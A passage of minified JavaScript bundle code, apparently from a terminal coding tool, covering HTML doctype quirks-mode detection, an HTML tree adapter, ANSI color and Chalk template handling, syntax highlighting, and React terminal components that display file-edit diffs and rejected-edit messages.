level 1//","-//ietf//dtd html strict level 2//","-//ietf//dtd html strict level 3//","-//ietf//dtd html strict//","-//ietf//dtd html//","-//metrius//dtd metrius presentational//","-//microsoft//dtd internet explorer 2.0 html strict//","-//microsoft//dtd internet explorer 2.0 html//","-//microsoft//dtd internet explorer 2.0 tables//","-//microsoft//dtd internet explorer 3.0 html strict//","-//microsoft//dtd internet explorer 3.0 html//","-//microsoft//dtd internet explorer 3.0 tables//","-//netscape comm. corp.//dtd html//","-//netscape comm. corp.//dtd strict html//","-//o'reilly and associates//dtd html 2.0//","-//o'reilly and associates//dtd html extended 1.0//","-//o'reilly and associates//dtd html extended relaxed 1.0//","-//sq//dtd html 2.0 hotmetal + extensions//","-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//","-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//","-//spyglass//dtd html 2.0 extended//","-//sun microsystems corp.//dtd hotjava html//","-//sun microsystems corp.//dtd hotjava strict html//","-//w3c//dtd html 3 1995-03-24//","-//w3c//dtd html 3.2 draft//","-//w3c//dtd html 3.2 final//","-//w3c//dtd html 3.2//","-//w3c//dtd html 3.2s draft//","-//w3c//dtd html 4.0 frameset//","-//w3c//dtd html 4.0 transitional//","-//w3c//dtd html experimental 19960712//","-//w3c//dtd html experimental 970421//","-//w3c//dtd w3 html//","-//w3o//dtd w3 html 3.0//","-//webtechs//dtd mozilla html 2.0//","-//webtechs//dtd mozilla html//"],ApY=kk7.concat(["-//w3c//dtd html 4.01 frameset//","-//w3c//dtd html 4.01 transitional//"]),KpY=["-//w3o//dtd w3 html strict 3.0//en//","-/w3c/dtd html 4.0 transitional/en","html"],Ck7=["-//w3c//dtd xhtml 1.0 frameset//","-//w3c//dtd xhtml 1.0 transitional//"],qpY=Ck7.concat(["-//w3c//dtd html 4.01 frameset//","-//w3c//dtd html 4.01 transitional//"]);function vk7(A){let K=A.indexOf('"')!==-1?"'":'"';return K+A+K}function Ek7(A,K){for(let q=0;q<K.length;q++)if(A.indexOf(K[q])===0)return!0;return!1}YpY.isConforming=function(A){return A.name==="html"&&A.publicId===null&&(A.systemId===null||A.systemId==="about:legacy-compat")};YpY.getDocumentMode=function(A){if(A.name!=="html")return iWA.QUIRKS;let K=A.systemId;if(K&&K.toLowerCase()==="http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd")return iWA.QUIRKS;let q=A.publicId;if(q!==null){if(q=q.toLowerCase(),KpY.indexOf(q)>-1)return iWA.QUIRKS;let Y=K===null?ApY:kk7;if(Ek7(q,Y))return iWA.QUIRKS;if(Y=K===null?Ck7:qpY,Ek7(q,Y))return iWA.LIMITED_QUIRKS}return iWA.NO_QUIRKS};YpY.serializeContent=function(A,K,q){let Y="!DOCTYPE ";if(A)Y+=A;if(K)Y+=" PUBLIC "+vk7(K);else if(q)Y+=" SYSTEM";if(q!==null)Y+=" "+vk7(q);return Y}});var Sk7=v(($pY)=>{var JpY=Lk7(),{DOCUMENT_MODE:OpY}=cf6(),Rk7={element:1,text:3,cdata:4,comment:8},yk7={tagName:"name",childNodes:"children",parentNode:"parent",previousSibling:"prev",nextSibling:"next",nodeValue:"data"};class ks{constructor(A){for(let K of Object.keys(A))this[K]=A[K]}get firstChild(){let A=this.children;return A&&A[0]||null}get lastChild(){let A=this.children;return A&&A[A.length-1]||null}get nodeType(){return Rk7[this.type]||Rk7.element}}Object.keys(yk7).forEach((A)=>{let K=yk7[A];Object.defineProperty(ks.prototype,A,{get:function(){return this[K]||null},set:function(q){return this[K]=q,q}})});$pY.createDocument=function(){return new ks({type:"root",name:"root",parent:null,prev:null,next:null,children:[],"x-mode":OpY.NO_QUIRKS})};$pY.createDocumentFragment=function(){return new ks({type:"root",name:"root",parent:null,prev:null,next:null,children:[]})};$pY.createElement=function(A,K,q){let Y=Object.create(null),z=Object.create(null),w=Object.create(null);for(let H=0;H<q.length;H++){let J=q[H].name;Y[J]=q[H].value,z[J]=q[H].namespace,w[J]=q[H].prefix}return new ks({type:A==="script"||A==="style"?A:"tag",name:A,namespace:K,attribs:Y,"x-attribsNamespace":z,"x-attribsPrefix":w,children:[],parent:null,prev:null,next:null})};$pY.createCommentNode=function(A){return new ks({type:"comment",data:A,parent:null,prev:null,next:null})};var Ik7=function(A){return new ks({type:"text",data:A,parent:null,prev:null,next:null})},lf6=$pY.appendChild=function(A,K){let q=A.children[A.children.length-1];if(q)q.next=K,K.prev=q;A.children.push(K),K.parent=A},XpY=$pY.insertBefore=function(A,K,q){let Y=A.children.indexOf(q),z=q.prev;if(z)z.next=K,K.prev=z;q.prev=K,K.next=q,A.children.splice(Y,0,K),K.parent=A};$pY.setTemplateContent=function(A,K){lf6(A,K)};$pY.getTemplateContent=function(A){return A.children[0]};$pY.setDocumentType=function(A,K,q,Y){let z=JpY.serializeContent(K,q,Y),w=null;for(let H=0;H<A.children.length;H++)if(A.children[H].type==="directive"&&A.children[H].name==="!doctype"){w=A.children[H];break}if(w)w.data=z,w["x-name"]=K,w["x-publicId"]=q,w["x-systemId"]=Y;else lf6(A,new ks({type:"directive",name:"!doctype",data:z,"x-name":K,"x-publicId":q,"x-systemId":Y}))};$pY.setDocumentMode=function(A,K){A["x-mode"]=K};$pY.getDocumentMode=function(A){return A["x-mode"]};$pY.detachNode=function(A){if(A.parent){let K=A.parent.children.indexOf(A),q=A.prev,Y=A.next;if(A.prev=null,A.next=null,q)q.next=Y;if(Y)Y.prev=q;A.parent.children.splice(K,1),A.parent=null}};$pY.insertText=function(A,K){let q=A.children[A.children.length-1];if(q&&q.type==="text")q.data+=K;else lf6(A,Ik7(K))};$pY.insertTextBefore=function(A,K,q){let Y=A.children[A.children.indexOf(q)-1];if(Y&&Y.type==="text")Y.data+=K;else XpY(A,Ik7(K),q)};$pY.adoptAttributes=function(A,K){for(let q=0;q<K.length;q++){let Y=K[q].name;if(typeof A.attribs[Y]>"u")A.attribs[Y]=K[q].value,A["x-attribsNamespace"][Y]=K[q].namespace,A["x-attribsPrefix"][Y]=K[q].prefix}};$pY.getFirstChild=function(A){return A.children[0]};$pY.getChildNodes=function(A){return A.children};$pY.getParentNode=function(A){return A.parent};$pY.getAttrList=function(A){let K=[];for(let q in A.attribs)K.push({name:q,value:A.attribs[q],namespace:A["x-attribsNamespace"][q],prefix:A["x-attribsPrefix"][q]});return K};$pY.getTagName=function(A){return A.name};$pY.getNamespaceURI=function(A){return A.namespace};$pY.getTextNodeContent=function(A){return A.data};$pY.getCommentNodeContent=function(A){return A.data};$pY.getDocumentTypeNodeName=function(A){return A["x-name"]};$pY.getDocumentTypeNodePublicId=function(A){return A["x-publicId"]};$pY.getDocumentTypeNodeSystemId=function(A){return A["x-systemId"]};$pY.isTextNode=function(A){return A.type==="text"};$pY.isCommentNode=function(A){return A.type==="comment"};$pY.isDocumentTypeNode=function(A){return A.type==="directive"&&A.name==="!doctype"};$pY.isElementNode=function(A){return!!A.attribs};$pY.setNodeSourceCodeLocation=function(A,K){A.sourceCodeLocation=K};$pY.getNodeSourceCodeLocation=function(A){return A.sourceCodeLocation};$pY.updateNodeSourceCodeLocation=function(A,K){A.sourceCodeLocation=Object.assign(A.sourceCodeLocation,K)}});var mk7=v((B_H,Bk7)=>{var hk7=(A,K)=>(...q)=>{return`\x1B[${A(...q)+K}m`},bk7=(A,K)=>(...q)=>{let Y=A(...q);return`\x1B[${38+K};5;${Y}m`},xk7=(A,K)=>(...q)=>{let Y=A(...q);return`\x1B[${38+K};2;${Y[0]};${Y[1]};${Y[2]}m`},XZ1=(A)=>A,uk7=(A,K,q)=>[A,K,q],nWA=(A,K,q)=>{Object.defineProperty(A,K,{get:()=>{let Y=q();return Object.defineProperty(A,K,{value:Y,enumerable:!0,configurable:!0}),Y},enumerable:!0,configurable:!0})},if6,rWA=(A,K,q,Y)=>{if(if6===void 0)if6=BY6();let z=Y?10:0,w={};for(let[H,J]of Object.entries(if6)){let O=H==="ansi16"?"ansi":H;if(H===K)w[O]=A(q,z);else if(typeof J==="object")w[O]=A(J[K],z)}return w};function ppY(){let A=new Map,K={modifier:{reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],inverse:[7,27],hidden:[8,28],strikethrough:[9,29]},color:{black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],blackBright:[90,39],redBright:[91,39],greenBright:[92,39],yellowBright:[93,39],blueBright:[94,39],magentaBright:[95,39],cyanBright:[96,39],whiteBright:[97,39]},bgColor:{bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgBlackBright:[100,49],bgRedBright:[101,49],bgGreenBright:[102,49],bgYellowBright:[103,49],bgBlueBright:[104,49],bgMagentaBright:[105,49],bgCyanBright:[106,49],bgWhiteBright:[107,49]}};K.color.gray=K.color.blackBright,K.bgColor.bgGray=K.bgColor.bgBlackBright,K.color.grey=K.color.blackBright,K.bgColor.bgGrey=K.bgColor.bgBlackBright;for(let[q,Y]of Object.entries(K)){for(let[z,w]of Object.entries(Y))K[z]={open:`\x1B[${w[0]}m`,close:`\x1B[${w[1]}m`},Y[z]=K[z],A.set(w[0],w[1]);Object.defineProperty(K,q,{value:Y,enumerable:!1})}return Object.defineProperty(K,"codes",{value:A,enumerable:!1}),K.color.close="\x1B[39m",K.bgColor.close="\x1B[49m",nWA(K.color,"ansi",()=>rWA(hk7,"ansi16",XZ1,!1)),nWA(K.color,"ansi256",()=>rWA(bk7,"ansi256",XZ1,!1)),nWA(K.color,"ansi16m",()=>rWA(xk7,"rgb",uk7,!1)),nWA(K.bgColor,"ansi",()=>rWA(hk7,"ansi16",XZ1,!0)),nWA(K.bgColor,"ansi256",()=>rWA(bk7,"ansi256",XZ1,!0)),nWA(K.bgColor,"ansi16m",()=>rWA(xk7,"rgb",uk7,!0)),K}Object.defineProperty(Bk7,"exports",{enumerable:!0,get:ppY})});var Qk7=v((m_H,Fk7)=>{var dpY=CA("os"),gk7=CA("tty"),YL=wTA(),{env:mG}=process,Cs;if(YL("no-color")||YL("no-colors")||YL("color=false")||YL("color=never"))Cs=0;else if(YL("color")||YL("colors")||YL("color=true")||YL("color=always"))Cs=1;if("FORCE_COLOR"in mG)if(mG.FORCE_COLOR==="true")Cs=1;else if(mG.FORCE_COLOR==="false")Cs=0;else Cs=mG.FORCE_COLOR.length===0?1:Math.min(parseInt(mG.FORCE_COLOR,10),3);function nf6(A){if(A===0)return!1;return{level:A,hasBasic:!0,has256:A>=2,has16m:A>=3}}function rf6(A,K){if(Cs===0)return 0;if(YL("color=16m")||YL("color=full")||YL("color=truecolor"))return 3;if(YL("color=256"))return 2;if(A&&!K&&Cs===void 0)return 0;let q=Cs||0;if(mG.TERM==="dumb")return q;if(process.platform==="win32"){let Y=dpY.release().split(".");if(Number(Y[0])>=10&&Number(Y[2])>=10586)return Number(Y[2])>=14931?3:2;return 1}if("CI"in mG){if(["TRAVIS","CIRCLECI","APPVEYOR","GITLAB_CI","GITHUB_ACTIONS","BUILDKITE"].some((Y)=>(Y in mG))||mG.CI_NAME==="codeship")return 1;return q}if("TEAMCITY_VERSION"in mG)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(mG.TEAMCITY_VERSION)?1:0;if(mG.COLORTERM==="truecolor")return 3;if("TERM_PROGRAM"in mG){let Y=parseInt((mG.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(mG.TERM_PROGRAM){case"iTerm.app":return Y>=3?3:2;case"Apple_Terminal":return 2}}if(/-256(color)?$/i.test(mG.TERM))return 2;if(/^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(mG.TERM))return 1;if("COLORTERM"in mG)return 1;return q}function cpY(A){let K=rf6(A,A&&A.isTTY);return nf6(K)}Fk7.exports={supportsColor:cpY,stdout:nf6(rf6(!0,gk7.isatty(1))),stderr:nf6(rf6(!0,gk7.isatty(2)))}});var pk7=v((g_H,Uk7)=>{var lpY=(A,K,q)=>{let Y=A.indexOf(K);if(Y===-1)return A;let z=K.length,w=0,H="";do H+=A.substr(w,Y-w)+K+q,w=Y+z,Y=A.indexOf(K,w);while(Y!==-1);return H+=A.substr(w),H},ipY=(A,K,q,Y)=>{let z=0,w="";do{let H=A[Y-1]==="\r";w+=A.substr(z,(H?Y-1:Y)-z)+K+(H?`\r `:` `)+q,z=Y+1,Y=A.indexOf(` `,z)}while(Y!==-1);return w+=A.substr(z),w};Uk7.exports={stringReplaceAll:lpY,stringEncaseCRLFWithFirstIndex:ipY}});var nk7=v((F_H,ik7)=>{var npY=/(?:\\(u(?:[a-f\d]{4}|\{[a-f\d]{1,6}\})|x[a-f\d]{2}|.))|(?:\{(~)?(\w+(?:\([^)]*\))?(?:\.\w+(?:\([^)]*\))?)*)(?:[ \t]|(?=\r?\n)))|(\})|((?:.|[\r\n\f])+?)/gi,dk7=/(?:^|\.)(\w+)(?:\(([^)]*)\))?/g,rpY=/^(['"])((?:\\.|(?!\1)[^\\])*)\1$/,opY=/\\(u(?:[a-f\d]{4}|{[a-f\d]{1,6}})|x[a-f\d]{2}|.)|([^\\])/gi,apY=new Map([["n",` `],["r","\r"],["t","\t"],["b","\b"],["f","\f"],["v","\v"],["0","\x00"],["\\","\\"],["e","\x1B"],["a","\x07"]]);function lk7(A){let K=A[0]==="u",q=A[1]==="{";if(K&&!q&&A.length===5||A[0]==="x"&&A.length===3)return String.fromCharCode(parseInt(A.slice(1),16));if(K&&q)return String.fromCodePoint(parseInt(A.slice(2,-1),16));return apY.get(A)||A}function spY(A,K){let q=[],Y=K.trim().split(/\s*,\s*/g),z;for(let w of Y){let H=Number(w);if(!Number.isNaN(H))q.push(H);else if(z=w.match(rpY))q.push(z[2].replace(opY,(J,O,X)=>O?lk7(O):X));else throw Error(`Invalid Chalk template style argument: ${w} (in style '${A}')`)}return q}function tpY(A){dk7.lastIndex=0;let K=[],q;while((q=dk7.exec(A))!==null){let Y=q[1];if(q[2]){let z=spY(Y,q[2]);K.push([Y].concat(z))}else K.push([Y])}return K}function ck7(A,K){let q={};for(let z of K)for(let w of z.styles)q[w[0]]=z.inverse?null:w.slice(1);let Y=A;for(let[z,w]of Object.entries(q)){if(!Array.isArray(w))continue;if(!(z in Y))throw Error(`Unknown Chalk style: ${z}`);Y=w.length>0?Y[z](...w):Y[z]}return Y}ik7.exports=(A,K)=>{let q=[],Y=[],z=[];if(K.replace(npY,(w,H,J,O,X,$)=>{if(H)z.push(lk7(H));else if(O){let _=z.join("");z=[],Y.push(q.length===0?_:ck7(A,q)(_)),q.push({inverse:J,styles:tpY(O)})}else if(X){if(q.length===0)throw Error("Found extraneous } in Chalk template literal");Y.push(ck7(A,q)(z.join(""))),z=[],q.pop()}else z.push($)}),Y.push(z.join("")),q.length>0){let w=`Chalk template literal is missing ${q.length} closing bracket${q.length===1?"":"s"} (\`}\`)`;throw Error(w)}return Y.join("")}});var KC7=v((Q_H,AC7)=>{var imA=mk7(),{stdout:af6,stderr:sf6}=Qk7(),{stringReplaceAll:epY,stringEncaseCRLFWithFirstIndex:AdY}=pk7(),{isArray:$Z1}=Array,ok7=["ansi","ansi","ansi256","ansi16m"],oWA=Object.create(null),KdY=(A,K={})=>{if(K.level&&!(Number.isInteger(K.level)&&K.level>=0&&K.level<=3))throw Error("The `level` option should be an integer from 0 to 3");let q=af6?af6.level:0;A.level=K.level===void 0?q:K.level};class ak7{constructor(A){return sk7(A)}}var sk7=(A)=>{let K={};return KdY(K,A),K.template=(...q)=>ek7(K.template,...q),Object.setPrototypeOf(K,_Z1.prototype),Object.setPrototypeOf(K.template,K),K.template.constructor=()=>{throw Error("`chalk.constructor()` is deprecated. Use `new chalk.Instance()` instead.")},K.template.Instance=ak7,K.template};function _Z1(A){return sk7(A)}for(let[A,K]of Object.entries(imA))oWA[A]={get(){let q=GZ1(this,tf6(K.open,K.close,this._styler),this._isEmpty);return Object.defineProperty(this,A,{value:q}),q}};oWA.visible={get(){let A=GZ1(this,this._styler,!0);return Object.defineProperty(this,"visible",{value:A}),A}};var tk7=["rgb","hex","keyword","hsl","hsv","hwb","ansi","ansi256"];for(let A of tk7)oWA[A]={get(){let{level:K}=this;return function(...q){let Y=tf6(imA.color[ok7[K]][A](...q),imA.color.close,this._styler);return GZ1(this,Y,this._isEmpty)}}};for(let A of tk7){let K="bg"+A[0].toUpperCase()+A.slice(1);oWA[K]={get(){let{level:q}=this;return function(...Y){let z=tf6(imA.bgColor[ok7[q]][A](...Y),imA.bgColor.close,this._styler);return GZ1(this,z,this._isEmpty)}}}}var qdY=Object.defineProperties(()=>{},{...oWA,level:{enumerable:!0,get(){return this._generator.level},set(A){this._generator.level=A}}}),tf6=(A,K,q)=>{let Y,z;if(q===void 0)Y=A,z=K;else Y=q.openAll+A,z=K+q.closeAll;return{open:A,close:K,openAll:Y,closeAll:z,parent:q}},GZ1=(A,K,q)=>{let Y=(...z)=>{if($Z1(z[0])&&$Z1(z[0].raw))return rk7(Y,ek7(Y,...z));return rk7(Y,z.length===1?""+z[0]:z.join(" "))};return Object.setPrototypeOf(Y,qdY),Y._generator=A,Y._styler=K,Y._isEmpty=q,Y},rk7=(A,K)=>{if(A.level<=0||!K)return A._isEmpty?"":K;let q=A._styler;if(q===void 0)return K;let{openAll:Y,closeAll:z}=q;if(K.indexOf("\x1B")!==-1)while(q!==void 0)K=epY(K,q.close,q.open),q=q.parent;let w=K.indexOf(` `);if(w!==-1)K=AdY(K,z,Y,w);return Y+K+z},of6,ek7=(A,...K)=>{let[q]=K;if(!$Z1(q)||!$Z1(q.raw))return K.join(" ");let Y=K.slice(1),z=[q.raw[0]];for(let w=1;w<q.length;w++)z.push(String(Y[w-1]).replace(/[{}\\]/g,"\\$&"),String(q.raw[w]));if(of6===void 0)of6=nk7();return of6(A,z.join(""))};Object.defineProperties(_Z1.prototype,oWA);var ZZ1=_Z1();ZZ1.supportsColor=af6;ZZ1.stderr=_Z1({level:sf6?sf6.level:0});ZZ1.stderr.supportsColor=sf6;AC7.exports=ZZ1});var ef6=v((e3)=>{var YdY=e3&&e3.__importDefault||function(A){return A&&A.__esModule?A:{default:A}};Object.defineProperty(e3,"__esModule",{value:!0});e3.parse=e3.stringify=e3.toJson=e3.fromJson=e3.DEFAULT_THEME=e3.plain=void 0;var G0=YdY(KC7()),zdY=function(A){return A};e3.plain=zdY;e3.DEFAULT_THEME={keyword:G0.default.blue,built_in:G0.default.cyan,type:G0.default.cyan.dim,literal:G0.default.blue,number:G0.default.green,regexp:G0.default.red,string:G0.default.red,subst:e3.plain,symbol:e3.plain,class:G0.default.blue,function:G0.default.yellow,title:e3.plain,params:e3.plain,comment:G0.default.green,doctag:G0.default.green,meta:G0.default.grey,"meta-keyword":e3.plain,"meta-string":e3.plain,section:e3.plain,tag:G0.default.grey,name:G0.default.blue,"builtin-name":e3.plain,attr:G0.default.cyan,attribute:e3.plain,variable:e3.plain,bullet:e3.plain,code:e3.plain,emphasis:G0.default.italic,strong:G0.default.bold,formula:e3.plain,link:G0.default.underline,quote:e3.plain,"selector-tag":e3.plain,"selector-id":e3.plain,"selector-class":e3.plain,"selector-attr":e3.plain,"selector-pseudo":e3.plain,"template-tag":e3.plain,"template-variable":e3.plain,addition:G0.default.green,deletion:G0.default.red,default:e3.plain};function qC7(A){var K={};for(var q=0,Y=Object.keys(A);q<Y.length;q++){var z=Y[q],w=A[z];if(Array.isArray(w))K[z]=w.reduce(function(H,J){return J==="plain"?e3.plain:H[J]},G0.default);else K[z]=G0.default[w]}return K}e3.fromJson=qC7;function YC7(A){var K={};for(var q=0,Y=Object.keys(K);q<Y.length;q++){var z=Y[q],w=K[z];K[z]=w._styles}return K}e3.toJson=YC7;function wdY(A){return JSON.stringify(YC7(A))}e3.stringify=wdY;function HdY(A){return qC7(JSON.parse(A))}e3.parse=HdY});var jZ1=v((T$)=>{var zC7=T$&&T$.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;Object.defineProperty(A,Y,{enumerable:!0,get:function(){return K[q]}})}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),JdY=T$&&T$.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),wC7=T$&&T$.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))zC7(K,A,q)}return JdY(K,A),K},OdY=T$&&T$.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))zC7(K,A,q)},XdY=T$&&T$.__importDefault||function(A){return A&&A.__esModule?A:{default:A}};Object.defineProperty(T$,"__esModule",{value:!0});T$.supportsLanguage=T$.listLanguages=T$.highlight=void 0;var DZ1=wC7(Ex1()),$dY=wC7(Tk7()),_dY=XdY(Sk7()),WZ1=ef6();function AN6(A,K,q){if(K===void 0)K={};switch(A.type){case"text":{var Y=A.data;if(q===void 0)return(K.default||WZ1.DEFAULT_THEME.default||WZ1.plain)(Y);return Y}case"tag":{var z=/hljs-(\w+)/.exec(A.attribs.class);if(z){var w=z[1],H=A.childNodes.map(function(J){return AN6(J,K,w)}).join("");return(K[w]||WZ1.DEFAULT_THEME[w]||WZ1.plain)(H)}return A.childNodes.map(function(J){return AN6(J,K)}).join("")}}throw Error("Invalid node type "+A.type)}function GdY(A,K){if(K===void 0)K={};var q=$dY.parseFragment(A,{treeAdapter:_dY.default});return q.childNodes.map(function(Y){return AN6(Y,K)}).join("")}function HC7(A,K){if(K===void 0)K={};var q;if(K.language)q=DZ1.highlight(A,{language:K.language,ignoreIllegals:K.ignoreIllegals}).value;else q=DZ1.highlightAuto(A,K.languageSubset).value;return GdY(q,K.theme)}T$.highlight=HC7;function ZdY(){return DZ1.listLanguages()}T$.listLanguages=ZdY;function WdY(A){return!!DZ1.getLanguage(A)}T$.supportsLanguage=WdY;T$.default=HC7;OdY(ef6(),T$)});import{extname as DdY}from"path";function JC7(A){let K=s(11),{code:q,filePath:Y,dim:z,skipColoring:w}=A,H=z===void 0?!1:z,J=w===void 0?!1:w,O;if(K[0]!==Y)O=DdY(Y).slice(1),K[0]=Y,K[1]=O;else O=K[1];let X=O,$;if(K[2]!==q||K[3]!==X||K[4]!==J){A:{let D=YWA(q);if(J){$=D;break A}let j="markdown";if(X)if(nmA.supportsLanguage(X))j=X;else h(`Language not supported while highlighting code, falling back to markdown: ${X}`);try{$=nmA.highlight(D,{language:j});break A}catch(M){let P=M;if(P instanceof Error&&P.message.includes("Unknown language")){h(`Language not supported while highlighting code, falling back to markdown: ${P}`),$=nmA.highlight(D,{language:"markdown"});break A}}$=void 0}K[2]=q,K[3]=X,K[4]=J,K[5]=$}else $=K[5];let G=$??"",Z;if(K[6]!==G)Z=KN6.default.createElement(a3,null,G),K[6]=G,K[7]=Z;else Z=K[7];let W;if(K[8]!==H||K[9]!==Z)W=KN6.default.createElement(V,{dimColor:H},Z),K[8]=H,K[9]=Z,K[10]=W;else W=K[10];return W}var nmA,KN6;var OC7=k(()=>{cA();mA();Z1();YK();nmA=o(jZ1(),1),KN6=o($A(),1)});function MdY(A,K){return YS.createElement(V,{key:K},YS.createElement(a3,null,A))}var YS,Ls,jdY=80,yf;var W5A=k(()=>{cA();mA();OC7();H5A();Ms();YS=o($A(),1),Ls=o($A(),1),yf=Ls.memo(function(K){let q=s(18),{code:Y,filePath:z,width:w,dim:H}=K,J=H===void 0?!1:H,O=Ls.useRef(null),[X,$]=Ls.useState(w||jdY),[_]=I4(),Z=KP().syntaxHighlightingDisabled??!1,W;A:{if(Z){W=null;break A}let T;if(q[0]===Symbol.for("react.memo_cache_sentinel"))T=ev7(),q[0]=T;else T=q[0];let C=T;if(!C){W=null;break A}let R;if(q[1]!==Y||q[2]!==z)R=new C(Y,z),q[1]=Y,q[2]=z,q[3]=R;else R=q[3];W=R}let D=W,j,M;if(q[4]!==w)j=()=>{if(!w&&O.current){let{width:T}=Cq6(O.current);if(T>0)$(T-2)}},M=[w],q[4]=w,q[5]=j,q[6]=M;else j=q[5],M=q[6];Ls.useEffect(j,M);let P;A:{if(D===null){P=null;break A}let T;if(q[7]!==D||q[8]!==J||q[9]!==X||q[10]!==_)T=D.render(_,X,J),q[7]=D,q[8]=J,q[9]=X,q[10]=_,q[11]=T;else T=q[11];P=T}let f=P,N;if(q[12]!==Y||q[13]!==J||q[14]!==z||q[15]!==f||q[16]!==Z)N=YS.createElement(S,{ref:O},f?YS.createElement(S,{flexDirection:"column"},f.map(MdY)):YS.createElement(JC7,{code:Y,filePath:z,dim:J,skipColoring:Z})),q[12]=Y,q[13]=J,q[14]=z,q[15]=f,q[16]=Z,q[17]=N;else N=q[17];return N})});import{relative as PdY}from"path";function aWA(A){let K=s(43),{file_path:q,operation:Y,patch:z,firstLine:w,fileContent:H,content:J,style:O,verbose:X}=A,{columns:$}=f8(),_;if(K[0]!==Y)_=M2.createElement(V,{color:"subtle"},"User rejected ",Y," to "),K[0]=Y,K[1]=_;else _=K[1];let G;if(K[2]!==q||K[3]!==X)G=X?q:PdY(x1(),q),K[2]=q,K[3]=X,K[4]=G;else G=K[4];let Z;if(K[5]!==G)Z=M2.createElement(V,{bold:!0,color:"subtle"},G),K[5]=G,K[6]=Z;else Z=K[6];let W;if(K[7]!==_||K[8]!==Z)W=M2.createElement(S,{flexDirection:"row"},_,Z),K[7]=_,K[8]=Z,K[9]=W;else W=K[9];let D=W;if(O==="condensed"&&!X){let P;if(K[10]!==D)P=M2.createElement(k6,null,D),K[10]=D,K[11]=P;else P=K[11];return P}if(Y==="write"&&J!==void 0){let P,f;if(K[12]!==J||K[13]!==X){let B=J.split(` `);P=B.length-XC7,f=X?J:B.slice(0,XC7).join(` `),K[12]=J,K[13]=X,K[14]=P,K[15]=f}else P=K[14],f=K[15];let T=f||"(No content)",C=$-12,R;if(K[16]!==q||K[17]!==T||K[18]!==C)R=M2.createElement(yf,{code:T,filePath:q,width:C,dim:!0}),K[16]=q,K[17]=T,K[18]=C,K[19]=R;else R=K[19];let x;if(K[20]!==P||K[21]!==X)x=!X&&P>0&&M2.createElement(V,{dimColor:!0},"… +",P," lines"),K[20]=P,K[21]=X,K[22]=x;else x=K[22];let y;if(K[23]!==R||K[24]!==x||K[25]!==D)y=M2.createElement(k6,null,M2.createElement(S,{flexDirection:"column"},D,R,x)),K[23]=R,K[24]=x,K[25]=D,K[26]=y;else y=K[26];return y}if(!z||z.length===0){let P;if(K[27]!==D)P=M2.createElement(k6,null,D),K[27]=D,K[28]=P;else P=K[28];return P}let j;if(K[29]!==$||K[30]!==H||K[31]!==q||K[32]!==w||K[33]!==z){let P;if(K[35]!==$||K[36]!==H||K[37]!==q||K[38]!==w)P=(f)=>M2.createElement(S,{flexDirection:"column",key:f.newStart},M2.createElement(Cf,{patch:f,dim:!0,width:$-12,filePath:q,firstLine:w,fileContent:H})),K[35]=$,K[36]=H,K[37]=q,K[38]=w,K[39]=P;else P=K[39];j=kf(z.map(P),VdY),K[29]=$,K[30]=H,K[31]=q,K[32]=w,K[33]=z,K[34]=j}else j=K[34];let M;if(K[40]!==j||K[41]!==D)M=M2.createElement(k6,null,M2.createElement(S,{flexDirection:"column"},D,j)),K[40]=j,K[41]=D,K[42]=M;else M=K[42];return M}function VdY(A){return M2.createElement(S,{key:`ellipsis-${A}`},M2.createElement(V,{dimColor:!0},"..."))}var M2,XC7=10;var qN6=k(()=>{cA();mA();y4();Ps();W5A();uK();Eq();M2=o($A(),1)});import{pathToFileURL as fdY}from"url";function zL(A){let K=s(5),{filePath:q,children:Y}=A,z;if(K[0]!==q)z=fdY(q),K[0]=q,K[1]=z;else z=K[1];let w=Y??q,H;if(K[2]!==z.href||K[3]!==w)H=$C7.default.createElement(X7,{url:z.href},w),K[2]=z.href,K[3]=w,K[4]=H;else H=K[4];return H}var $C7;var sWA=k(()=>{cA();mXA();$C7=o($A(),1)});function MZ1(A){if(!A)return"Update";if(A.file_path?.startsWith(tZ()))return"Updated plan";if(A.old_string==="")return"Create";return"Update"}function YN6(A){if(!A?.file_path)return null;return Z5(A.file_path)}function _C7({file_path:A},{verbose:K}){if(!A)return null;if(A.startsWith(tZ()))return"";return MO.createElement(zL,{filePath:A},K?A:Z5(A))}function GC7(){return null}function ZC7({filePath:A,structuredPatch:K,originalFile:q},Y,{style:z,verbose:w}){let H=A.startsWith(tZ());return MO.createElement(aG1,{filePath:A,structuredPatch:K,firstLine:q.split(` `)[0]??null,fileContent:q,style:z,verbose:w,previewHint:H?"/plan to preview":void 0})}function WC7({file_path:A,old_string:K,new_string:q,replace_all:Y=!1},z){let{style:w,verbose:H}=z;if(K==="")return MO.createElement(aWA,{file_path:A,operation:"write",content:q,firstLine:q.split(` `)[0]??null,verbose:H});try{let O=BA().existsSync(A)?BA().readFileSync(A,{encoding:"utf8"}):"",X=UqA(O,K)||K,{patch:$}=G_1({filePath:A,fileContents:O,oldString:X,newString:q,replaceAll:Y});return MO.createElement(aWA,{file_path:A,operation:"update",patch:$,firstLine:O.split(` `)[0]??null,fileContent:O,style:w,verbose:H})}catch(O){return KA(O),MO.createElement(k6,{height:1},MO.createElement(V,null,"(No changes)"))}}function DC7(A,K){let{verbose:q}=K;if(!q&&typeof A==="string"&&i7(A,"tool_use_error")){if(i7(A,"tool_use_error")?.includes("File has not been read yet"))return MO.createElement(k6,null,MO.createElement(V,{dimColor:!0},"File must be read first"));return MO.createElement(k6,null,MO.createElement(V,{color:"error"},"Error editing file"))}return MO.createElement(C3,{result:A,verbose:q})}var 